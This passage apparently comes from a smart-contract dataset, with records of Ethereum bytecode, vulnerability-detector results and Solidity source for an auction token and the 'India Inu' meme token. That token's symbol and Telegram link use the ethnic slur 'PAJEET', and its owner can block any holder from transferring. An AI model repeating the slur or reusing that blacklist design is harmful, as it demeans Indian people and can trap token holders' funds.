d5b505af1158015611093573d6000803e3d6000fd5b505050506040513d60208110156110a957600080fd5b5051949350505050565b6000818361113f5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156111045781810151838201526020016110ec565b50505050905090810190601f1680156111315780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161114b57fe5b0495945050505050565b600081848411156111a75760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156111045781810151838201526020016110ec565b50505090039056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a2646970667358221220c24f300f60ca50a2136643f3ca6ae57ae1f07bb8f0b2b48a3dfcdc663e93310a64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 2,436 |
0x5d269f0280ff406c61535623ee37a45cd22f4dd7
|
pragma solidity ^0.4.15;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Auction is Ownable {
using SafeMath for uint256;
enum States { Setup, AcceptingBids, Paused, Ended }
// Current state of the auction which starts at Setup.
States public currentState = States.Setup;
// Current highest bid data
address public highestBidder;
uint256 public highestBid;
// Allowed withdrawals of previous bids
mapping(address => uint256) pendingReturns;
// Events that will be fired on changes
event HighestBidIncreased(address bidder, uint256 amount);
event AuctionStarted();
event AuctionPaused();
event AuctionResumed();
event AuctionEnded(address winner, uint256 amount);
modifier atState(States state) {
require(currentState == state);
_;
}
modifier notAtState(States state) {
require(currentState != state);
_;
}
/// Bid on the auction with the value sent with this transaction.
/// The value will only be refunded if the auction is not won.
function bid() payable atState(States.AcceptingBids) {
require(msg.value > highestBid);
if (highestBid != 0) {
pendingReturns[highestBidder] = pendingReturns[highestBidder].add(highestBid);
}
highestBidder = msg.sender;
highestBid = msg.value;
HighestBidIncreased(msg.sender, msg.value);
}
/// Withdraw a bid that was overbid.
function withdraw() notAtState(States.Setup) returns (bool) {
uint256 amount = pendingReturns[msg.sender];
if (amount > 0) {
pendingReturns[msg.sender] = 0;
if (!msg.sender.send(amount)) {
pendingReturns[msg.sender] = amount;
return false;
}
}
return true;
}
/// Start the auction and allow bidding.
function startAuction() onlyOwner atState(States.Setup) {
currentState = States.AcceptingBids;
AuctionStarted();
}
/// Pause the auction and temporarily disable bidding.
function pauseAuction() onlyOwner atState(States.AcceptingBids) {
currentState = States.Paused;
AuctionPaused();
}
/// Resume the auction and allow bidding once again.
function resumeAuction() onlyOwner atState(States.Paused) {
currentState = States.AcceptingBids;
AuctionResumed();
}
/// End the auction and send the highest bid to the owner
function endAuction() onlyOwner notAtState(States.Ended) {
currentState = States.Ended;
AuctionEnded(highestBidder, highestBid);
owner.transfer(highestBid);
}
}
contract TulipToken is Auction, StandardToken {
string public constant name = "TulipToken";
string public constant symbol = "TLP";
uint8 public constant decimals = 0;
uint256 public constant INITIAL_SUPPLY = 1;
function TulipToken() {
totalSupply = INITIAL_SUPPLY;
balances[owner] = INITIAL_SUPPLY;
}
/// Override Auction.endAuction to transfer
/// The Tulip Token in the same transaction.
function endAuction() {
transfer(highestBidder, 1);
Auction.endAuction();
}
}
|
0x6060604052361561011a5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461011f578063095ea7b3146101aa5780630c3f6acf146101e057806318160ddd146102175780631998aeef1461023c57806323b872dd146102465780632ff2e9dc14610282578063313ce567146102a757806332353fbd146102d05780633ccfd60b146102e55780636b64c7691461030c57806370a08231146103215780638da5cb5b1461035257806391f901571461038157806395d89b41146103b0578063a9059cbb1461043b578063b9ae736414610471578063d57bde7914610486578063dd62ed3e146104ab578063f2fde38b146104e2578063fe67a54b14610503575b600080fd5b341561012a57600080fd5b610132610518565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561016f5780820151818401525b602001610156565b50505050905090810190601f16801561019c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b557600080fd5b6101cc600160a060020a036004351660243561054f565b604051901515815260200160405180910390f35b34156101eb57600080fd5b6101f36105f6565b6040518082600381111561020357fe5b60ff16815260200191505060405180910390f35b341561022257600080fd5b61022a610606565b60405190815260200160405180910390f35b61024461060c565b005b341561025157600080fd5b6101cc600160a060020a036004358116906024351660443561070d565b604051901515815260200160405180910390f35b341561028d57600080fd5b61022a610822565b60405190815260200160405180910390f35b34156102b257600080fd5b6102ba610827565b60405160ff909116815260200160405180910390f35b34156102db57600080fd5b61024461082c565b005b34156102f057600080fd5b6101cc6108cb565b604051901515815260200160405180910390f35b341561031757600080fd5b610244610983565b005b341561032c57600080fd5b61022a600160a060020a0360043516610a22565b60405190815260200160405180910390f35b341561035d57600080fd5b610365610a41565b604051600160a060020a03909116815260200160405180910390f35b341561038c57600080fd5b610365610a50565b604051600160a060020a03909116815260200160405180910390f35b34156103bb57600080fd5b610132610a5f565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561016f5780820151818401525b602001610156565b50505050905090810190601f16801561019c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561044657600080fd5b6101cc600160a060020a0360043516602435610a96565b604051901515815260200160405180910390f35b341561047c57600080fd5b610244610b56565b005b341561049157600080fd5b61022a610bf5565b60405190815260200160405180910390f35b34156104b657600080fd5b61022a600160a060020a0360043581169060243516610bfb565b60405190815260200160405180910390f35b34156104ed57600080fd5b610244600160a060020a0360043516610c28565b005b341561050e57600080fd5b610244610c80565b005b60408051908101604052600a81527f54756c6970546f6b656e00000000000000000000000000000000000000000000602082015281565b60008115806105815750600160a060020a03338116600090815260066020908152604080832093871683529290522054155b151561058c57600080fd5b600160a060020a03338116600081815260066020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b60005460a060020a900460ff1681565b60045481565b6001805b60005460a060020a900460ff16600381111561062857fe5b1461063257600080fd5b600254341161064057600080fd5b6002541561069157600254600154600160a060020a03166000908152600360205260409020546106759163ffffffff610ca516565b600154600160a060020a03166000908152600360205260409020555b6001805473ffffffffffffffffffffffffffffffffffffffff191633600160a060020a038116919091179091553460028190557ff4757a49b326036464bec6fe419a4ae38c8a02ce3e68bf0809674f6aab8ad3009190604051600160a060020a03909216825260208201526040908101905180910390a15b5b50565b600160a060020a038084166000908152600660209081526040808320338516845282528083205493861683526005909152812054909190610754908463ffffffff610ca516565b600160a060020a038086166000908152600560205260408082209390935590871681522054610789908463ffffffff610cbf16565b600160a060020a0386166000908152600560205260409020556107b2818463ffffffff610cbf16565b600160a060020a03808716600081815260066020908152604080832033861684529091529081902093909355908616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a3600191505b509392505050565b600181565b600081565b60005433600160a060020a0390811691161461084757600080fd5b6002805b60005460a060020a900460ff16600381111561086357fe5b1461086d57600080fd5b600080546001919074ff0000000000000000000000000000000000000000191660a060020a835b02179055507f979e0f22222b399f6e77f2614325775244291877598c6174fd7caf44b4bdfcc560405160405180910390a15b5b505b565b60008080805b60005460a060020a900460ff1660038111156108e957fe5b14156108f457600080fd5b600160a060020a033316600090815260036020526040812054925082111561097757600160a060020a0333166000818152600360205260408082209190915583156108fc0290849051600060405180830381858888f19350505050151561097757600160a060020a0333166000908152600360205260408120839055925061097d565b5b600192505b5b505090565b60005433600160a060020a0390811691161461099e57600080fd5b6000805b60005460a060020a900460ff1660038111156109ba57fe5b146109c457600080fd5b600080546001919074ff0000000000000000000000000000000000000000191660a060020a835b02179055507fc8f99b9ac2a284b93c3652b9f064a6706724088cdafa9e0a8437c026191b2f0360405160405180910390a15b5b505b565b600160a060020a0381166000908152600560205260409020545b919050565b600054600160a060020a031681565b600154600160a060020a031681565b60408051908101604052600381527f544c500000000000000000000000000000000000000000000000000000000000602082015281565b600160a060020a033316600090815260056020526040812054610abf908363ffffffff610cbf16565b600160a060020a033381166000908152600560205260408082209390935590851681522054610af4908363ffffffff610ca516565b600160a060020a0380851660008181526005602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060015b92915050565b60005433600160a060020a03908116911614610b7157600080fd5b6001805b60005460a060020a900460ff166003811115610b8d57fe5b14610b9757600080fd5b600080546002919074ff0000000000000000000000000000000000000000191660a060020a835b02179055507f749d6d79623c8cbd2345906702c70ae75d4254a6c409047c16d52fa5a37ef69860405160405180910390a15b5b505b565b60025481565b600160a060020a038083166000908152600660209081526040808320938516835292905220545b92915050565b60005433600160a060020a03908116911614610c4357600080fd5b600160a060020a03811615610709576000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b5b50565b60018054610c9991600160a060020a0390911690610a96565b506108c9610cd6565b5b565b600082820183811015610cb457fe5b8091505b5092915050565b600082821115610ccb57fe5b508082035b92915050565b60005433600160a060020a03908116911614610cf157600080fd5b6003805b60005460a060020a900460ff166003811115610d0d57fe5b1415610d1857600080fd5b600080546003919074ff0000000000000000000000000000000000000000191660a060020a835b02179055506001546002547fdaec4582d5d9595688c8c98545fdd1c696d41c6aeaeb636737e84ed2f5c00eda91600160a060020a031690604051600160a060020a03909216825260208201526040908101905180910390a1600054600254600160a060020a039091169080156108fc0290604051600060405180830381858888f19350505050151561070957600080fd5b5b5b505b5600a165627a7a723058208e02dad35c41bb048e0bfc429991b6bc2a43bfad7d72650a6fa07ac6548888880029
|
{"success": true, "error": null, "results": {}}
| 2,437 |
0x23dd98f2863062d5c133297c952f4f2b7044c126
|
/**
*Submitted for verification at Etherscan.io on 2021-06-05
*/
/*
* https://t.me/indiainuPAJEET
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract IndiaInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "India Inu";
string private constant _symbol = 'PAJEET';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 3;
uint256 private _teamFee = 7;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 1 * 10**12 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b